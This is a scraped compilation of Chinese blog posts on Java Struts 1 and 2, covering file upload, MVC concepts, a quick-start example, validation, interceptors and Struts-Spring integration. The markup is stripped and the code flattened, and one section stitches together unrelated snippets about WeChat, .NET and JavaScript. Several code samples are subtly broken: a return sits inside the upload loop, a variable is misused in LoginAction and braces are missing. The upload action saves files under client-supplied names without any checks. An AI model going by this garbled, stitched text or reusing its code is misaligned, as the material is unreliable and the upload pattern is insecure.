fileContentType; @Override public String execute() throws Exception { // TODO Auto-generated method stub //获取文件存储路径 String path = ServletActionContext.getServletContext().getRealPath(“/upload”); for(int i=0;i file.size();i++){ //输出流 OutputStream os = new FileOutputStream(new File(path,fileFileName.get(i))); //输入流 InputStream is = new FileInputStream(file.get(i)); byte[] buf = new byte[1024]; int length = 0 ; while(-1 != (length = is.read(buf) ) ) { os.write(buf, 0, length) ; } is.close(); os.flush(); os.close(); addActionMessage(“成功”); return SUCCESS; } }

struts2.1笔记01:MVC框架思想浅层理解

  1. Struts 1是全世界第一个发布的MVC框架: 它由Craig McClanahan在2001年发布,该框架一经推出,就得到了世界上Java Web开发者的拥护,经过长达6年时间的锤炼,Struts 1框架更加成熟、稳定,性能也有了很好的保证。因此,到目前为止,Struts 1依然是世界上使用最广泛的MVC框架。 目前,基于Web的MVC框架非常多,发展也很快,每隔一段时间就有一个新的MVC框架发布,例如像JSF、Tapestry和Spring MVC等。除了这些有名的MVC框架外,还有一些边缘团队的MVC框架也很有借鉴意义。 对于企业实际使用MVC框架而言,框架的稳定性则应该是最值得考虑的问题。一个刚刚起步的框架,可能本身就存在一些隐藏的问题,会将自身的BUG引入自己的应用。这也是笔者不推荐开发者自己实现框架的原因。 虽然Struts 2号称是一个全新的框架,但这仅仅是相对Struts 1而言。Struts 2与Struts 1相比,确实有很多革命性的改进,但它并不是新发布的新框架,而是在另一个赫赫有名的框架:WebWork基础上发展起来的。从某种程度上来讲,Strut2没有继承Struts 1的血统,而是继承了WebWork的血统。或者说,WebWork衍生出了Struts 2,而不是Struts 1衍生了Struts 2。因为Struts 2是WebWork的升级,而不是一个全新的框架,因此稳定性、性能等各方面都有很好的保证;而且吸收了Struts 1和WebWork两者的优势,因此,是一个非常值得期待的框架。   2. MVC简述: 是一种可以简化和维护的。Model负责应用程序的,封装访问数据库的方法并提供一个可重用的类。View包括web设计活模板设计,提供从用户收集数据的机制。Controller将视图设计和Model合并在一起,负责从视图收集数据,并决定程序的执行逻辑调用模型层并解析返回数据,使其能在视图层显示。3.MVC思想浅层理解: 首先要理解什么是MVC,M(Model模型),V(View视图),C(Controller控制器),MVC思想就是将一个应用分成三个部分即MVC,这三个部分以最少的耦合协同工作,从而提高应用程序的可扩展性和可维护性,(实现高内聚,低耦合,模块之间耦合的高低取决于模块间接口的复杂性,调用的方式和传递的信息)。 一个模型可以对应多个视图,反之多个视图也可以对应一个模型。 控制器控制层的概念也很有效,由于它把不同的模型和不同的视图组合在一起,完成不同的请求,因此,控制层可以说是包含了用户请求权限的概念。 如果用户不对应用发出请求,视图无法主动更新自己。

struts2框架快速入门小案例

struts2快速入门: index.jsp—— HelloAction——— hello.jsp struts2流程 1.导入jar包 struts2的目录结构: apps: 例子程序 docs:文档 lib:struts2框架所应用的jar以及插件包 src:源代码 core 它是struts2的源代码 xwork-core struts2底层使用了xwork,xwork的源代码 注意:在struts2开发,一般情况下最少导入的jar包,去apps下的struts2-blank示例程序中copy 2.创建index.jsp页面 3.对struts2框架进行配置 1.web.xml文件中配置前端控制器(核心控制器)—–就是一个Filter(目的:是为了让struts2框架可以运行。) filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern /* /url-pattern /filter-mapping 2.在src下(对应Tomcat的classes下)创建一个struts.xml配置文件 ,这个是struts2框架配置文件(目的:是为了struts2框架流程可以执行。) 4.创建一个HelloAction类 //要求,在HelloAction类中创建一个返回值是String类型的方法,注意,无参数。 public String say(){ return “good”; } 5.在struts.xml文件中配置HelloAction package name=”default” namespace=”/” extends=”struts-default” action name=”hello” method=”say” result name=”good” /hello.jsp /result /action /package 6.在index.jsp中添加连接,测试 a href=”${pageContext.request.contextPath}/hello” 第一次使用struts2 /a 在地址栏中输入:http://localhost/struts2_day01/index.jsp 访问连接,就可以看到HelloAction类中的say方法执行了,也跳转到了hello.jsp. 运行流程: 用filter模拟Struts2工作原理: public class StrutsFilter implements Filter { public void init(FilterConfig filterConfig) throws ServletException {} public void destroy() {} public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { // 1.强转 HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) resp; // 2.操作 // 2.1 得到请求资源路径 String uri = request.getRequestURI(); String contextPath = request.getContextPath(); String path = uri.substring(contextPath.length() + 1); // 2.2 使用path去struts.xml文件中查找某一个 action name=path 这个标签 SAXReader reader = new SAXReader(); try { // 得到struts.xml文件的document对象。 Document document = reader.read(new File(this.getClass().getResource(“/struts.xml”).getPath())); // 查找 action name=’hello’ 这样的标签 Element actionElement = (Element) document.selectSingleNode(“//action[@name='” + path + “‘]”); if (actionElement != null) { // 得到 action 标签上的class属性以及method属性 String className = actionElement.attributeValue(“class”); // 得到了action类的名称 String methodName = actionElement.attributeValue(“method”);// 得到action类中的方法名称。 // 2.3通过反射,得到Class对象,得到Method对象 Class actionClass = Class.forName(className); Method method = actionClass.getDeclaredMethod(methodName); // 2.4 让method执行. String returnValue = (String) method.invoke(actionClass.newInstance()); // 是让action类中的方法执行,并获取方法的返回值。 // 2.5 使用returnValue去action下查找其子元素result的name属性值,与returnValue做对比。 Element resultElement = actionElement.element(“result”); String nameValue = resultElement.attributeValue(“name”); if (returnValue.equals(nameValue)) { // 2.6得到了要跳转的路径。 String skipPath = resultElement.getText(); request.getRequestDispatcher(skipPath).forward(request,response); return; } } } catch (Exception e) { e.printStackTrace(); } // 3.放行 chain.doFilter(request, response); } }

Struts2第一个入门案例

  一.如何获取Struts2,以及Struts2资源包的目录结构的了解    Struts的官方地址为http://struts.apache.org 在他的主页当中,我们可以通过左侧的Apache Struts菜单下的Release链接,可以查看Struts各个阶段的词资源,也可以通过Archive Site链接访问来获取版本。    那我们这里以struts-2.3.15.1-all为例。  1.App目录下包含了官方提供的Struts2应用示例,为开发者提供了很好的参照。  2.doc目录下是官方提供的Struts2文档。  3.lib目录下是Struts的发行包及其依赖包。  4.src目录是Struts2项目该版本对应的源码。  其余部分是Struts2及其依赖包的使用许可协议和声明。    二.入门案例 1.引入jar包:    新建一个Java Web项目,将Struts2框架所需的jar包添加到项目的lib文件夹上,Struts2项目所依赖的基础jar包如下:     2.创建一个登录案例的界面    01.login.jsp页面 %@ page language=”java” import=”java.util.*” pageEncoding=”utf-8″% String path = request.getContextPath(); String basePath = request.getScheme() + “://” + request.getServerName() + “:” + request.getServerPort() + path + “/”; !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html !– 导入Struts2 核心标签库– %@taglib uri=”/struts-tags” prefix=”s”% head base href=” %=basePath% ” title My JSP ‘login.jsp’ starting page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” /head body form action=”Login3.action” method=”post” 用户名: input type=”text” name=”user.name” / 密码: input type=”text” name=”user.pwd” / input type=”submit” value=”登录” /form /body /html    02.登录失败页面:final.jsp:    

struts2学习笔记(2)——简单的输入验证以及标签库的运用

struts2自带了一些标签库,运用好这些标签库会减少开发周期。 1.struts2标签库是在哪定义的? struts2标签库定义在struts2-core-2.1.8.jar这个文件中,具体在这个jar的META-INF文件夹struts-tags.tld中。 2.如何引用struts2标签库? 使用 %@ taglib prefix=”s” uri=”/struts-tags” % 可以引用,其中uri是在struts-tags.tld中指定的。 重构昨天的应用: s:form action=”login” s:textfield name=”username” label=”username” /s:textfield s:password name=”password” label=”password” /s:password s:submit label=”submit” /s:submit /s:form 其中注意的是form的action是login而不是html中的login.action,两者表示的意思一样。标签中的label属性值将显示在textfield前。 然后修改LoginAction类,让其继承ActionSupport类,以实现简单验证功能。昨天写的类是一个POJO,与struts2无关。而现在这个类的功能将更加强大。 override其方法validate,来实现验证功能。 内容: if (null == this.getUsername() || “”.equals(this.getUsername().trim())) { this.addFieldError(“username”, “username required”); } if (null == this.getPassword()|| “”.equals(this.getPassword().trim())) { this.addFieldError(“password”, “password required”); } } 作用是来验证输入的内容是否为空(为什么不用JavaScript来验证???) 这里用到了一个小技巧,顺便提一下: “”.equals(this.getUsername().trim()) 把常量放在前面可以避免当this.getUsername()为空时抛出异常 this.addFieldError(“username”, “username required”); 可以在username上面显示出错信息(username required) 接着在struts2中指定信息没有输入完整时的处理方法,即在struts.xml中进行配置 result name=”input” /login2.jsp /result 在validate方法中只做一些简单的验证,判断是否为空等,不会涉及业务逻辑。 程序流程: 在login.jsp中输入数据提交后,struts2拦截用户请求,然后发送请求到LoginAction处理请求,LoginAction调用validate方法进行验证。 若不通过,则交给struts2再次转发给login.jsp处理,并显示出相应的出错信息,由(this.addFieldError())方法指定。 若通过,则进行相应的set操作,结束后调用execute方法,返回相应的处理结果到struts2。 然后struts2根据返回的结果转发到相应的页面(result.jsp) 下次将介绍一下struts2的局部类型转换。 原地址:

.net之工作流工程展示及代码分享(预告)

最新更新: 新手跳坑系列:推荐阅读: 二十四 request:fail错误(含https解决方案)(真机预览问题 跳坑指南 七十 如何让微信小程序服务类目审核通过 跳坑六十九: … SSH 为 struts+spring+hibernate 的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架. Struts Struts是一个基于Sun J2EE平台的MVC框架, … 概要 本章,会对“生产/消费者问题”进行讨论.涉及到的内容包括:1. 生产/消费者模型2. 生产/消费者实现 转载请注明出处:http://www.cnblogs.com/skywang12345/p … MVC在底层和传统的asp.net是一致的,在底层之上,相关流程如下: 1)Global.asax里,MvcApplication对象的Application_Start()事件中,调用 RouteC … 理解 MEF 容器部件生命周期和实现是非常重要的事情.考虑到 MEF 关注可扩展应用程序.这变得尤为重要.生命期可以解释为期望部件的共享性(transitively, its exports)   共 … var express = require( express var router = express(); router.get(‘/’, function (req, r … 这篇文章会分享一些鲜为人知但却很强大的JavaScript技巧, 各个级别的JavaScript开发者都会从中受益.   1. 用数组的length属性清空数组   我们知道在JS中对象类型是按引用传 … Struts2上传下载 文件上传 如果想使用HTML表单上传文件(一个或多个),那么必须把HTML表单的enctype属性设置成multipart/form-data,且method=post, 且使 … 异常名称如下:java.lang.ArithmeticException: / by zero 原因:当我们定义的被除数为整形时候(short  int  long)会抛出此异常,被除数为整形时不可以 … SQL Server中由于外键约束而删除数据失败 原因分析:外键约束问题.在配置文件中配置了一对一的关系,外键也是唯一的.数据库中数据有严格的依赖关系. 而在业务逻辑中,在往数据库里删除数据之前,却忘 …

Struts2入门(二)——配置拦截器

一、前言 之前便了解过,Struts 2的核心控制器是一个Filter过滤器,负责拦截所有的用户请求,当用户请求发送过来时,会去检测struts.xml是否存在这个action,如果存在,服务器便会自动帮我们跳转到指定的处理类中去处理用户的请求,基本流程如下: 该流程笔者理解是基本流程,。如果有不对的地方,请下方留言。我会改正。谢谢; 好,接着往下讲: 注意:在struts.xml中,配置文件必须有该请求的处理类才能正常跳转,同时,返回SUCCESS字符串的类,必须继承ActionSupport,如果你没有继承,那么就返回”success”,同样能够跳转到jsp逻辑视图,但是必须确保你struts.xml有 result name=”success” xx.jsp /result ,该标签,具体操作在上一篇文章有介绍过简单例子。 1.1、了解拦截器 什么是拦截器,它的作用是什么? 拦截器,实际上就是对调用方法的改进。 作用:动态拦截对Action对象的调用,它提供了一种机制可以使开发者可以定义在一个action执行的前后执行的代码,也可以在一个action执行前阻止其执行。同时也是提供了一种可以提取action中可重用的部分的方式。 拦截器的执行顺序: 在执行Action的execute方法之前,Struts2会首先执行在struts.xml中引用的拦截器,在执行完所有引用的拦截器的intercept方法后,会执行Action的execute方法。 二、实际操作 2.1、自定义拦截器 新建一个类继承AbstractInterceptor。 package com.Interceptor; import java.util.Date; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.AbstractInterceptor; public class MyInterceptor extends AbstractInterceptor { private String name;//该属性与struts.xml中的 param name=”name” 简单拦截器 /param 一致,也就是说该name的值是简单拦截器 public void setName(String name) { this.name = name; //拦截action请求 @Override public String intercept(ActionInvocation arg0) throws Exception { //取得被拦截的action LoginAction action = (LoginAction)arg0.getAction(); System.out.println(name+”:拦截器的动作——“+”开始执行登录action的时间为:”+new Date()); long start = System.currentTimeMillis(); /* * ActionInvocation.invoke()就是通知struts2接着干下面的事情 * 比如 调用下一个拦截器 或 执行下一个Action * 就等于退出了你自己编写的这个interceptor了 * 在这里是去调用action的execute方法,也就是继续执行Struts2 接下来的方法*/ String result = arg0.invoke(); System.out.println(name+”:拦截器的动作——“+”执行完登录action的时间为:”+new Date()); long end = System.currentTimeMillis(); System.out.println(name+”:拦截器的动作——“+”执行完该action的时间为:”+(end-start)+”毫秒”); System.out.println(result); //输出的值是:success return result; } } /** * 该页面的效果如下: * 简单拦截器:拦截器的动作——开始执行登录action的时间为:Mon Oct 24 19:06:17 CST 2016 用户名:admin,密码:123 简单拦截器:拦截器的动作——执行完登录action的时间为:Mon Oct 24 19:06:18 CST 2016 简单拦截器:拦截器的动作——执行完该action的时间为:1130毫秒 success * */ 在struts.xml中配置 ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.5//EN” “http://struts.apache.org/dtds/struts-2.5.dtd” struts !–简单的拦截器 — package name=”Interceptor” extends=”struts-default” namespace=”/ac” !– 跳转前拦截 — interceptors !– 声明简单的过滤器 — interceptor name=”Inter” !–传递name的参数 — param name=”name” 简单拦截器 /param /interceptor /interceptors action name=”loginaction” result name=”success” /Interceptor/welcome.jsp /result result name=”input” /Interceptor/error.jsp /result !–注意:如果不加默认的拦截器的话,那么类型转换不会执行,也就是说不会把文本上的值赋值给实体类 — interceptor-ref name=”defaultStack”/ !– 简单的过滤器,定义在这里告诉拦截器在此处action执行 — interceptor-ref name=”Inter” /interceptor-ref /action /package /struts struts.xml解析: interceptors :表示声明拦截器 interceptor : 表示定义一个拦截器 param :给该拦截器一个参数,属性为name interceptor-ref name=”” :表示该拦截器在这个action中使用。 新建LoginAction类,继承ActionSupport package com.Interceptor; import com.opensymphony.xwork2.ActionSupport; //action类处理 public class LoginAction extends ActionSupport { private String username; private String pwd; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } //默认执行execute方法 public String execute(){ System.out.println(“用户名:”+username+”,密码:”+pwd); return SUCCESS; } 新建jsp视图界面 %@ page language=”java” contentType=”text/html; charset=UTF-8″ pageEncoding=”UTF-8″% %@ taglib uri=”/struts-tags” prefix=”s”% !DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd” html head meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ title 简单的登录拦截 /title /head body !–如果在struts.xml中,package包中有配置namespace的话,那么在此处就应该配置。不然会报404错误 — s:form action=”loginaction” namespace=”/ac” s:textfield label=”User Name” name=”username”/ s:password label=”Password” name=”pwd” / s:submit/ /s:form /body /html (代码笔者测试没问题) 2.2、过滤方法: 拦截器不仅可以定义多个拦截,还可以指定拦截特定的方法。 struts.xml的配置 ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.5//EN” “http://struts.apache.org/dtds/struts-2.5.dtd” struts !–简单的拦截器 — package name=”Interceptor” extends=”struts-default” namespace=”/ac” !– 跳转前拦截 — interceptors !– 声明方法过滤器 — interceptor name=”myMethod” param name=”name” 方法过滤拦截器 /param /interceptor /interceptors action name=”loginaction” method=”method1″ !– 如果是拦截方法的话,改为method=”method2″ — result name=”success” /Interceptor/welcome.jsp /result !– /Interceptor是笔者文件夹。别弄错了– result name=”input” /Interceptor/error.jsp /result !–注意:如果不加默认的拦截器的话,那么类型转换不会执行,也就是说不会把文本上的值赋值给实体类 — interceptor-ref name=”defaultStack”/ !– 方法过滤器 — interceptor-ref name=”myMethod” param name=”name” 改名后的方法过滤器 /param param name=”includeMethods” method1,method3 /param !–表示该方法不被拦截– param name=”excludeMethods” method2 /param !–表示该方法被拦截 — /interceptor-ref /action /package /struts 修改LoginAction类 package com.Interceptor; import com.opensymphony.xwork2.ActionSupport; //action类处理 public class LoginAction extends ActionSupport { private String username; private String pwd; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } // 过滤的方法 public String method1() throws Exception { System.out.println(“Action执行方法:method1()”); return SUCCESS; } public String method2() throws Exception { System.out.println(“Action执行方法:method2()”); return SUCCESS; public String method3() throws Exception { System.out.println(“Action执行方法:method3()”); return SUCCESS; } 新建MyMethodInterceptor类继承MethodFilterInterceptor MethodFilterInterceptor类表示你定义的拦截器支持方法过滤。 package com.Interceptor; import java.util.Date; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor; //过滤方法 public class MyMethodInterceptor extends MethodFilterInterceptor { private String name; public void setName(String name) { this.name = name; } @Override protected String doIntercept(ActionInvocation arg0) throws Exception { //取得被拦截的action LoginAction action = (LoginAction)arg0.getAction(); System.out.println(name+”:拦截器的动作——“+”开始执行登录action的时间为:”+new Date()); long start = System.currentTimeMillis(); String result = arg0.invoke(); System.out.println(name+”:拦截器的动作——“+”执行完登录action的时间为:”+new Date()); long end = System.currentTimeMillis(); System.out.println(name+”:拦截器的动作——“+”执行完该action的时间为:”+(end-start)+”毫秒”); System.out.println(result); //输出的值是:success return result; } 至于jsp视图,一样,不需要改变。 得到的结果可以看出来: 当method=”method1″或者是method=”method3″的时候,会自动去执行MyMethodInterceptor 的方法doIntercept,然后跳转到welcome.jsp界面。 当method=”method2″的时候,控制台会出现 Action执行方法:method2(),之后便被拦截了。 以上就是拦截方法的基本代码,例子很简单,但是重在理解。 可能笔者疑惑,为什么需要过滤方法呢?因为拦截器它会自动拦截所有的方法,回造成资源的损耗,所以有些方法我们可以指定不被拦截。 2.3、监听过滤器: 在拦截器中,execute方法执行之前或者之后的方法都被拦截在intercept方法中,这些的结构不够明白,我们可以定义监听,虽然好像没什么用,但是了解一下也挺不错的。 实现拦截器的监听结果必须实现PreResultListener接口。 package com.Interceptor; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.PreResultListener; //过拦截器配置一个监听器 public class MyPreResultListener implements PreResultListener { //定义处理Result之前的行为 @Override public void beforeResult(ActionInvocation arg0, String arg1) { System.out.println(“返回的逻辑视图为:”+arg1); } } 然后MyMethodInterceptor类修改为: package com.Interceptor; import java.util.Date; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor; //过滤方法 public class MyMethodInterceptor extends MethodFilterInterceptor { private String name; public void setName(String name) { this.name = name; } @Override protected String doIntercept(ActionInvocation arg0) throws Exception { //将一个拦截结果的监听器注册给拦截器 arg0.addPreResultListener(new MyPreResultListener()); System.out.println(“execute方法被调用之前的拦截”); //调用下一个拦截器或者action的执行方法 String result = arg0.invoke(); System.out.println(“execute方法被调用之后的拦截”); return result; } 以上就是拦截器基本知识,如果有错误的地方,请指正。谢谢。

struts1.x mvc简单例程

因为项目需要,需要使用struts1.x 。因此学习下struts框架。 例程从struts 实现MVC框架入手,完成一次request请求。 一.前台 两个jsp文件 index.jsp: 只有一个button按钮,发送request请求 %@ page language=”java” contentType=”text/html; charset=UTF-8″ pageEncoding=”utf-8″% !DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd” html head meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ title Index /title /head body form method=”post” action=”/structsLearning/roller-ui/createWebsite.do?method=create” input type=”submit” value=”start website”/ /form /body /html createWebsite.jsp: request请求成功页面显示,从后台传入一个值读取 h1 %=request.getAttribute(“userName”)% is creating a website /h1 二.配置文件 web.xml: 将所有的*.do请求都配置到struts-config.xml servlet servlet-name action /servlet-name servlet-class org.apache.struts.action.ActionServlet /servlet-class init-param param-name config /param-name param-value /WEB-INF/struts-config.xml /param-value /init-param init-param param-name debug /param-name param-value 3 /param-value /init-param init-param param-name detail /param-name param-value 3 /param-value /init-param load-on-startup 1 /load-on-startup /servlet servlet-mapping servlet-name action /servlet-name url-pattern *.do /url-pattern /servlet-mapping struts-config.xml: parameter 指定method这样一个servlet 文件就可以对应多个不同的url请求。使用 method=**即可。 type属性指定了servlet class。 path:指定了forward 的jsp文件 action-mappings action path=”/roller-ui/createWebsite” type=”org.apache.roller.struts.CreateWebsiteAction” scope=”request” parameter=”method” forward name=”createWebsite.page” path=”/jsp/createWebsite.jsp” /action /action-mappings 三.java 文件 CreateWebsiteAction.java: mapping.findForward(“createWebsite.page”)这边forward名字与struts-config.xml进行了映射。 package org.apache.roller.struts; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.struts.action.ActionForm; import org.apache.struts.action.ActionForward; import org.apache.struts.action.ActionMapping; import org.apache.struts.actions.DispatchAction; public class CreateWebsiteAction extends DispatchAction { public ActionForward create(ActionMapping mapping, ActionForm actionForm, HttpServletRequest request,HttpServletResponse response) throws Exception { ActionForward forward = mapping.findForward(“createWebsite.page”); request.setAttribute(“userName”, “FS”); return forward; 简单的三步就实现了一次request请求分发。 与jsp/servlet不同的是,将原本web.xml中做的事情分发到struts-config.xml.当然可以配置很多的struts.xml。

Struts1.X与Spring集成——第一种方案

spring struts(第一种方案) 集成原理:在Action中取得BeanFactory,通过BeanFactory取得业务逻辑对象,调用业务逻辑方法。 一,新建一个项目Spring_Struts_01 1、spring和Struts的依赖包配置 *Struts (1)拷贝Struts和jstl的依赖包 (2)在web.xml文件里配置ActionServlet span > web-appversion= 2.5 xmlns= http://java.sun.com/xml/ns/javaee xmlns:xsi= http://www.w3.org/2001/XMLSchema-instance xsi:schemaLocation= http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd servlet servlet-name action /servlet-name servlet-class org.apache.struts.action.ActionServlet /servlet-class init-param param-name config /param-name param-value /WEB-INF/struts-config.xml /param-value /init-param init-param param-name debug /param-name param-value 2 /param-value /init-param init-param param-name detail /param-name param-value 2 /param-value /init-param load-on-startup 2 /load-on-startup /servlet !– Standard Action Servlet Mapping– servlet-mapping servlet-name action /servlet-name url-pattern *.do /url-pattern /servlet-mapping /web-app /span (3)提供struts-config.xml文件 span > !DOCTYPEstruts-config PUBLIC -//Apache SoftwareFoundation//DTD Struts Configuration 1.2//EN http://jakarta.apache.org/struts/dtds/struts-config_1_2.dtd struts-config /struts-config /span (4)提供国际化支持,提供缺省的国际化资源文件 span > errors.header= UL errors.prefix= LI errors.suffix= /LI errors.footer= /UL # — validator — errors.invalid={0}is invalid. errors.maxlength={0}can not be greater than {1} characters. errors.minlength={0}can not be less than {1} characters. errors.range={0} isnot in the range {1} through {2}. errors.required={0}is required. errors.byte={0} mustbe an byte. errors.date={0} isnot a date. errors.double={0}must be an double. errors.float={0}must be an float. errors.integer={0}must be an integer. errors.long={0} mustbe an long. errors.short={0}must be an short. errors.creditcard={0}is not a valid credit card number. errors.email={0} isan invalid e-mail address. # — other — errors.cancel=Operationcancelled. errors.detail={0} errors.general=Theprocess did not complete. Details should follow. errors.token=Requestcould not be completed. Operation is not in sequence. # — welcome — welcome.title=StrutsBlank Application welcome.heading=Welcome! welcome.message=Toget started on your own application, copy the struts-blank.war to a new WARfile using the name for your application. Place it in your container s webapp folder (or equivalent), and let your container auto-deploythe application. Edit the skeleton configuration files as needed, restart yourcontainer, and you are on your way! (You can find the application.propertiesfile with this message in the /WEB-INF/src/java/resources folder.) /span *Spring (1)拷贝spring相关依赖包 (2)提供spring配置文件 span > beansxmlns= http://www.springframework.org/schema/beans xmlns:xsi= http://www.w3.org/2001/XMLSchema-instance xmlns:aop= http://www.springframework.org/schema/aop xmlns:tx= http://www.springframework.org/schema/tx xsi:schemaLocation= http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd http://www.springframework.org/schema/aophttp://www.springframework.org/schema/aop/spring-aop-2.0.xsd http://www.springframework.org/schema/txhttp://www.springframework.org/schema/tx/spring-tx-2.0.xsd /beans /span 2,在web.xml文件里配置ContextLoaderListener(作用:让web Server在启动时将BeanFactory放到ServletContext中) span > web-appversion= 2.5 xmlns= http://java.sun.com/xml/ns/javaee xmlns:xsi= http://www.w3.org/2001/XMLSchema-instance xsi:schemaLocation= http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd servlet servlet-name action /servlet-name servlet-class org.apache.struts.action.ActionServlet /servlet-class init-param param-name config /param-name param-value /WEB-INF/struts-config.xml /param-value /init-param init-param param-name debug /param-name param-value 2 /param-value /init-param init-param param-name detail /param-name param-value 2 /param-value /init-param load-on-startup 2 /load-on-startup /servlet !– Standard Action Servlet Mapping– servlet-mapping servlet-name action /servlet-name url-pattern *.do /url-pattern /servlet-mapping context-param param-name contextConfigLocation /param-name param-value classpath:applicationContext-*.xml /param-value /context-param !–加入启动Spring监听器– listener listener-class org.springframework.web.context.ContextLoaderListener /listener-class /listener /web-app /span 注:使用listener配置beanfactory,将其初始化交给servlet,使其维持在ServletContext中,节省资源。Listener初始化早于Servlet 3,在Action中採用WebApplicationContextUtils.getWebApplicationContext()从ServletContext中取得BeanFactory 4,通过BeanFactory从IOC容器中取得业务逻辑对象 存在缺点: 由于Action中存在依赖查找,所以Action依赖于Spring的API 进一步了解依赖查找和依赖注入,在同一个jvm中能够依赖注入,不同jvm中不能够依赖注入 三,代码演示样例 一个简单的用户登录演示样例,没有持久层 client: 1,jsp (1)index.jsp主页面 span > pageEncoding= GB18030 % !DOCTYPE htmlPUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html head metahttp-equiv= Content-Type content= text/html;charset=GB18030 title Inserttitle here /title /head body h1 Spring+Struts(第一种集成方案) /h1 hr ahref= login.jsp 登录 /a /body /html /span (2)login.jsp登录页面 span > pageEncoding= GB18030 % !DOCTYPE htmlPUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html head metahttp-equiv= Content-Type content= text/html;charset=GB18030 title Inserttitle here /title /head body form action= login.do method= post 用户: input type= text name= username br 密码: input type= text name= password br input type= submit value= 登录 /form /body /html /span (3)login_success.jsp登录成功后的跳转页面 span > pageEncoding= GB18030 % !DOCTYPE htmlPUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html head metahttp-equiv= Content-Type content= text/html;charset=GB18030 title Inserttitle here /title /head body 韩学敏,登录成功!! /body /html /span 服务端 2(1),ActionForm获取表单数据 loginActionForm.java: span > private String username; private String password; public String getUsername() { returnusername; } publicvoid setUsername(String username) { this.username= username; } publicString getPassword() { returnpassword; } publicvoid setPassword(String password) { this.password= password; } /span 2(2),Action LoginAction.java: span > importjavax.servlet.http.HttpServletResponse; importorg.apache.struts.action.Action; importorg.apache.struts.action.ActionForm; importorg.apache.struts.action.ActionForward; importorg.apache.struts.action.ActionMapping; importorg.springframework.beans.factory.BeanFactory; importorg.springframework.context.support.ClassPathXmlApplicationContext; importorg.springframework.web.context.support.WebApplicationContextUtils; importcom.bjpowernode.usermgr.manager.UserManager; importcom.bjpowernode.usermgr.manager.UserMangerImpl; importcom.bjpowernode.usermgr.web.forms.loginActionForm; public classLoginAction extends Action { @Override publicActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequestrequest, HttpServletResponse response) throwsException { //从LoginActionForm拿数据 loginActionFormlaf=(loginActionForm)form; String username=laf.getUsername();//获取用户名 String password =laf.getPassword();//获取密码 /*UserManageruserManager=new UserMangerImpl(); userManager.Login(username, password);*/ //取BeanFactory拿到配置文件applicationContext.xml生成BeanFactory BeanFactory factory= new ClassPathXmlApplicationContext( applicationContext.xml /*//使用BeanFactory从IOC容器中取得相关对象(依据id取得) UserManageruserManager=(UserManager)factory.getBean( userManager userManager.Login(username, password);//调用接口UserManager的登录方法Login() */ //例如以下方式不用每次都创建BeanFactory,并且不用在这里写死配置文件,配置文件写在了web.xml中;可是在此层中知道了Spring的存在 BeanFactory beanFactory =WebApplicationContextUtils.getWebApplicationContext(request.getSession().getServletContext()); UserManageruserManager=(UserManager)factory.getBean( userManager userManager.Login(username, password);//调用接口UserManager的登录方法Login() returnmapping.findForward( success //跳转到成功页面 } /span 2(3)业务层 接口 实现 接口UserManager.java: span > /** * 用户登录 * @param username:用户名 * @param password:密码 */ publicvoid Login(String username,String password); } /span 实现UserManagerImp.java: span > publicvoid Login(String username, String password) { System.out.print(this.getClass()+ ,username= +username); } /span 3,Struts配置文件 配置数据 span > -//Apache SoftwareFoundation//DTD Struts Configuration 1.2//EN http://jakarta.apache.org/struts/dtds/struts-config_1_2.dtd struts-config !–生命ActionForm(即,告诉Struts哪个是ActionForm) — form-beans form-bean name= loginForm type= com.bjpowernode.usermgr.web.forms.loginActionForm / /form-beans !–描写叙述Action — !–描写叙述Action — action-mappings action path= /login type= com.bjpowernode.usermgr.web.actions.LoginAction name= loginForm scope= request !–转向信息 — forward name= success path= /login_success.jsp / /action /action-mappings message-resourcesparameter= MessageResources / /struts-config /span 4,Spring配置文件 span > beansxmlns= http://www.springframework.org/schema/beans xmlns:xsi= http://www.w3.org/2001/XMLSchema-instance xmlns:aop= http://www.springframework.org/schema/aop xmlns:tx= http://www.springframework.org/schema/tx xsi:schemaLocation= http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd 